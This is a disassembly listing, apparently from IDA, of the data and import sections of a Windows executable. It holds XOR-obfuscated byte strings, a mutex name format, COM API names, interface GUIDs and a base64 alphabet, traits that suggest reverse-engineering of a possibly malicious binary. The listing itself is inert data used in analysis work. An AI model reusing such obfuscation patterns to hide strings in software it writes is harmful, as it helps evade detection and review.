byte_44B837 db 0Fh ; DATA XREF: sub_439B7B+35o
dd 0ADFBDE00h, 0FBB8B582h, 0EDA4B2ABh, 0B2BAF0ECh
db 0B2h, 0
word_44B84A dw 4 ; DATA XREF: sub_4399CB+35o
dd 0E3BAFCD9h
db 85h, 0
word_44B852 dw 0 ; DATA XREF: sub_4397A3:loc_43980Co
dd 455320F4h, 43495652h
db 45h, 0
word_44B85E dw 0 ; DATA XREF: sub_4397A3+29o
aNsystem db 'NSYSTEM',0
dword_44B868 dd 6BB60000h, 762D716Bh ; DATA XREF: sub_4396F6+2Fo
db 78h, 0
word_44B872 dw 0 ; DATA XREF: sub_4396F6:loc_439715o
aS_mtxU_0 db '%s_mtx%u',0
asc_44B87E db 0Ah,0 ; DATA XREF: sub_43969E+1Co
aWbgKw@hh db '$WBG{KW',0Ah
db '@HH',0
dword_44B88C dd 73100000h, 6F5F6366h, 6C642E73h ; DATA XREF: sub_43969E+1o
db 6Ch, 0
word_44B89A dw 4 ; DATA XREF: sub_43963B+1Co
aIni db '',0
word_44B8A2 dw 0 ; DATA XREF: sub_4394DD+A3o
aDispgetparam db 'DispGetParam',0
word_44B8B2 dw 0 ; DATA XREF: sub_4394DD+87o
aVariantinit db ']VariantInit',0
byte_44B8C1 db 2 dup(0), 0F2h ; DATA XREF: sub_4394DD+6Bo
aVariantclear db 'VariantClear',0
byte_44B8D1 db 2 dup(0), 57h ; DATA XREF: sub_4394DD+4Fo
aSysfreestring db 'SysFreeString',0
word_44B8E2 dw 0 ; DATA XREF: sub_4394DD:loc_439510o
aSysallocstring db 'SysAllocString',0
dword_44B8F4 dd 1778000Ch, 0D191D14h, 564A4B0Ch, 14141Ch ; DATA XREF: sub_4394DD+1Co
dword_44B904 dd 6FE00000h, 7561656Ch, 2E323374h, 6C6C64h ; DATA XREF: sub_4394DD+1o
dword_44B914 dd 0B0900002h ; DATA XREF: sub_4393B1+108o
db 0B0h, 0
word_44B91A dw 1 ; DATA XREF: sub_4393B1+D3o
db 0C2h, 0EDh, 0
byte_44B91F db 12h ; DATA XREF: sub_4393B1:loc_4393E3o
dd 0B6A8C500h, 0B6A9B1A6h, 0A4B1B69Ah, 0A7B6B0B1h, 0F7F6B7A4h
db 0
byte_44B935 db 0Eh, 0, 5Ch ; DATA XREF: sub_4393B1+10o
dd 0B3E3D08h, 33383235h, 3D301F2Bh
db 2 dup(2Fh), 0
byte_44B947 db 1 ; DATA XREF: sub_43858C+D28o
dd 5F2300h
dword_44B94C dd 0B1910002h ; DATA XREF: sub_43858C+CFCo
db 0EDh, 0
word_44B952 dw 1 ; DATA XREF: sub_43858C+C71o
db 0F5h, 0CFh, 0
byte_44B957 db 4 ; DATA XREF: sub_43858C:loc_4391B7o
dd 6B6E4E00h
db 3Bh, 74h, 0
byte_44B95F db 1 ; DATA XREF: sub_43858C+6AAo
dd 0EE9200h
dword_44B964 dd 5474000Ah, 263B3248h, 1514E39h ; DATA XREF: sub_43858C+475o
db 4Ah, 0
word_44B972 dw 0Bh ; DATA XREF: sub_43858C:loc_438912o
dd 9CE6FADAh, 9F979B88h, 0E4AFFFE0h
db 0
byte_44B981 db 0Ah, 0, 94h ; DATA XREF: sub_43858C+293o
aIOK db 'Ѯ٪',0
align 10h
dword_44B990 dd 4, 0A600C8h, 0A500A9h, 0ADh ; DATA XREF: sub_43858C+21Bo
dword_44B9A0 dd 5, 330045h, 290024h, 200030h ; DATA XREF: sub_43858C+204o
db 2 dup(0)
aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
; DATA XREF: .data:off_44A2BCo
db '://',0
align 4
dword_44B9F8 dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9h ; DATA XREF: sub_43D6B1+58o
dword_44BA08 dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h
; DATA XREF: sub_43C48C:loc_43C4D8o
; sub_43D6B1+1CBo ...
dword_44BA18 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
; DATA XREF: sub_4395B8:loc_439604o
; sub_439857+CBo ...
dword_44BA28 dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; DATA XREF: sub_440CD0:loc_440D1Co
dword_44BA38 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; DATA XREF: sub_43F63D+1Fo
dword_44BA48 dd 20400h, 0 ; DATA XREF: sub_4395B8:loc_4395E4o
; sub_43C48C:loc_43C4B8o ...
dd 0C0h, 46000000h
dword_44BA58 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43858C+183o
; sub_43A974+152o
dword_44BA68 dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43C5EA+68o
; sub_44006A+70o
dword_44BA78 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43858C+4B8o
; sub_43858C+AC3o ...
dword_44BA88 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43858C+9D6o
dword_44BA98 dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43C5EA+1F9o
dword_44BAA8 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43858C+2E9o
dword_44BAB8 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h ; DATA XREF: sub_43D6B1+4Fo
dword_44BAC8 dd 2 dup(0) ; DATA XREF: sub_4395B8+Co
; sub_43C48C+Co ...
dd 0C0h, 46000000h
dword_44BAD8 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh ; DATA XREF: sub_43858C+81o
; sub_439857+90o ...
dword_44BAE8 dd 10h dup(0) ; DATA XREF: sub_442580o
; sub_442580:loc_44259Ao ...
dword_44BB28 dd 0 ; DATA XREF: sub_442524+16o
; sub_442524:loc_442566o ...
dd 0Fh dup(0)
dword_44BB68 dd 0 ; DATA XREF: sub_442689+Cw
; sub_442689+825r
dword_44BB6C dd 0 ; DATA XREF: sub_442689+14w
; sub_442689+82Cr
dword_44BB70 dd 0 ; DATA XREF: sub_442689+1Cw
; sub_442689+834r
dword_44BB74 dd 0 ; DATA XREF: sub_442689+24w
; sub_442689+83Cr
align 100h
_data ends
; Section 7. (virtual address 0004C000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0004BC00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 44C000h
dd 2Bh dup(0)
dword_44C0AC dd 0 ; DATA XREF: .text:00442FB8r
dword_44C0B0 dd 0 ; DATA XREF: sub_442FC4r
dword_44C0B4 dd 0 ; DATA XREF: sub_442FD0r
align 10h
dword_44C0C0 dd 0 ; DATA XREF: sub_442FDCr
dword_44C0C4 dd 0 ; DATA XREF: sub_442FE8r
dword_44C0C8 dd 0 ; DATA XREF: .text:00442FF4r
dword_44C0CC dd 0 ; DATA XREF: .text:00443000r
dword_44C0D0 dd 0 ; DATA XREF: sub_44300Cr
dword_44C0D4 dd 0 ; DATA XREF: sub_443018r
dword_44C0D8 dd 0 ; DATA XREF: sub_443024r
dword_44C0DC dd 0 ; DATA XREF: sub_443030r
align 1000h
_idata2 ends
end start